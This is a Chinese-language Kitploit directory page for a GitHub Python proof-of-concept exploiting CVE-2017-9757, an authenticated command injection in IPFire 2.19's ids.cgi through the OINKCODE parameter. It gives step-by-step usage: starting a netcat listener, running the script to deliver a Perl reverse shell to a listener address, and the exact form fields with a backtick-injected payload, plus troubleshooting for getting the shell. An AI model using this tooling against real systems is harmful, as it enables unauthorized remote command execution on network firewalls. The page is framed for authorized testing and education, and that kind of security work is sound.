Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
IPFire_2.19_RCE_Authenticated — 此漏洞利用程序基于 CVE-2017-9757,并在 0x09AL 的原始漏洞利用程序基础上构建。 | Kitploit
工具/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

此漏洞利用程序基于 CVE-2017-9757,并在 0x09AL 的原始漏洞利用程序基础上构建。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
113天前尚未审核

IPFire 2.19 OINKCODE 远程代码执行 PoC

针对 IPFire 2.19 的 ids.cgi 页面中通过 OINKCODE 参数存在的认证后命令注入漏洞的 Python 概念验证(PoC)。

仅供授权的安全测试和培训实验环境使用。 仅可针对您拥有或已获得明确测试许可的系统运行此 PoC。作者不对因使用此代码造成的滥用或损害负责。

漏洞概述

IPFire 2.19 在 /cgi-bin/ids.cgi 处理的 OINKCODE 参数中存在操作系统命令注入漏洞。该参数未经适当中和便被拼接到 shell 命令中,使已认证用户能够在 IPFire 主机上执行命令。

该漏洞通常被标识为 CVE-2017-9757,对应 CWE-78:对 OS 命令中使用的特殊元素的不当中和('OS Command Injection')。

最初的公开 PoC 已在 IPFire 2.19 Core Update 110 上完成测试。Metasploit 模块认为 Core Update 110 及更早的 IPFire 2.19 版本均在其支持的检测范围内。

创建此 PoC 的原因

Exploit-DB 上的原始 Python PoC 使用以下内容执行验证请求:

root@kitploit:~
OINKCODE = '`id`'

随后,仅当 HTTP 响应中包含以下内容时才判定目标存在漏洞:

root@kitploit:~
uid=99(nobody)

这种验证方式并不可靠。命令可能确实执行了,但其输出被 CGI 构造的 shell 命令消耗,而不会反映在返回给客户端的 HTML 响应中。因此,服务器可能返回正常的 HTTP 200 页面却不包含 id 的输出,从而产生漏报。

本实现遵循 Metasploit 模块使用的验证逻辑:

  1. 使用 HTTP 基本认证请求 /cgi-bin/pakfire.cgi。
  2. 从响应中提取 IPFire 版本和 Core Update 信息。
  3. 将 IPFire <= 2.19 且 Core Update <= 110 视为疑似存在漏洞。
  4. 在 OINKCODE 字段中向 /cgi-bin/ids.cgi 发送命令载荷。
  5. 将非 200 响应视为请求被拒绝或认证问题。
  6. 不检查 HTML 正文中是否包含 uid=99(nobody)。

该 PoC 还使用了 Perl 命令 shell 载荷,与 Metasploit 模块支持的载荷类型一致。HTTP 响应成功本身并不能证明反弹 shell 已建立连接;还必须验证监听器和网络路径。

各来源漏洞利用之间的差异

Metasploit 模块的重要成功标准是:非预期的响应码表示凭据无效或请求被拒绝。它并不要求响应正文包含所注入命令的输出。

环境要求

  • Python 3
  • requests
  • 可访问 Web 界面的有效 IPFire 凭据
  • 目标机上装有 Perl 解释器,通常以 perl 形式提供
  • 可从 IPFire 主机访问到的监听器

安装 Python 依赖:

root@kitploit:~
python3 -m pip install requests

使用方法

1. 仅检测目标版本

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

未提供 --password 时,脚本会以交互方式提示输入密码。建议采用这种方式,因为把密码直接写在命令中可能会通过 shell 历史记录或进程列表泄露。

2. 启动监听器

请在 --lhost 和 --lport 指定的地址和端口上启动监听器:

root@kitploit:~
rlwrap nc -lvnp 4444

如果未安装 rlwrap,请使用:

root@kitploit:~
nc -lvnp 4444

3. 发送 Perl 反弹 shell 载荷

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

对于 IPFire 常见的自签名 HTTPS 证书,需要使用 --insecure/-k。仅在实验环境中确实无法进行证书验证时才使用该选项。

使用完整 URL 代替主机和端口

目标也可以以完整的基准 URL 形式提供:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

跳过版本指纹识别

仅在已通过其他方式确认 IPFire 版本时才使用此选项:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

指定不同的 Perl 路径

如果 Perl 不在目标的默认 PATH 中,请提供其绝对路径:

root@kitploit:~
--perl-path /usr/bin/perl

命令行选项

解读输出结果

ids.cgi 返回 HTTP 200

这意味着按照 Metasploit 模块使用的相同实际标准,HTTP 请求已被 CGI 接受。返回正常的 HTML 响应属于预期情况,并不能证明漏洞检测失败。

请检查监听器是否收到 shell。如果没有 shell 连接进来,请排查回连地址、路由、防火墙出站规则、Perl 是否可用以及所选端口。

HTTP 401 或 HTTP 403

请求未通过授权。请检查用户名、密码、目标 URL、端口,以及该账户能否访问 IPFire Web 界面。

HTTP 404

目标 URL 或 CGI 路径可能不正确,或者该服务并非预期的 IPFire Web 界面。

无法识别版本

脚本未能在 pakfire.cgi 中找到预期的版本字符串。在使用 --skip-version-check 之前,请先手动确认目标版本。

发送载荷后请求超时

注入的命令在尝试回调时可能会使 CGI 请求保持打开状态。请将此视为需要检查监听器的信号,而非已获得 shell 的确凿证据。

技术请求流程

脚本使用 HTTP 基本认证,并向 ids.cgi 发送以下表单字段:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

命令被反引号包裹,因为存在漏洞的应用程序会将 OINKCODE 的值拼接到 shell 命令中。具体的请求行为取决于目标版本及其本地配置。

局限性

  • 这是一个概念验证,并非完整的漏洞利用框架。
  • 版本检测基于所参考的 Metasploit 模块的行为,并不能保证每个具有匹配横幅信息的目标都可被利用。
  • 200 响应仅表示请求已被接受,并不代表反弹 shell 已到达监听器。
  • Perl 载荷需要目标机上可正常工作的 Perl 解释器,以及 IPFire 到监听器之间的网络连通性。
  • 脚本不会尝试认证绕过或 CSRF 利用;它预期您提供有效的凭据。

参考资料

  • NVD: CVE-2017-9757
  • Exploit-DB 42149:IPFire 2.19 远程代码执行
  • Exploit-DB 42369:IPFire < 2.19 Update Core 110 远程代码执行
  • Metasploit 模块:ipfire_oinkcode_exec.rb
  • Metasploit Perl 命令载荷
  • CWE-78:OS 命令注入

致谢

本项目是一个教育用途的 Python 实现,基于 0x09AL 的公开研究和概念验证,以及 Metasploit 社区维护的 Metasploit 模块编写而成。它与 IPFire、Exploit-DB 或 Rapid7 无关联,也未获得其认可。

下载工具
对比项Exploit-DB 42149 Python PoCExploit-DB 42369 / Metasploit本 PoC
受影响端点/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
版本检测无GET /cgi-bin/pakfire.cgi与 Metasploit 相同的检测方式
认证方式基本认证Basic Auth 请求头通过 requests.Session 进行基本认证
初始验证执行 `id` 并搜索响应正文先检测版本,再发送载荷检测版本并使用 HTTP 响应码
漏报风险高:取决于 uid=99(nobody) 是否被回显避免正文内容验证避免正文内容验证
反弹 shellBash /dev/tcpMetasploit Unix 命令载荷Perl IO::Socket::INET 命令 shell
TLS 处理PoC 中禁用了证书验证默认启用 SSL仅通过 -k/--insecure 禁用验证
配置方式在源码中修改取值Metasploit 选项命令行参数
选项默认值说明
-t, --target必需目标主机/IP 或完整的基准 URL
--schemehttps当目标仅为主机/IP 时使用的协议方案
--web-port444IPFire Web 界面端口
-u, --usernameadminIPFire 用户名
-p, --password交互提示密码;省略时以无回显方式输入
--lhost必需可从 IPFire 访问的监听器地址
--lport4444监听器端口
--perl-pathperl目标机上的 Perl 可执行文件
--timeout10HTTP 超时时间(秒)
-k, --insecure默认禁用禁用 TLS 证书验证
--skip-version-check默认禁用跳过 pakfire.cgi 检测
--check-only默认禁用仅执行版本检测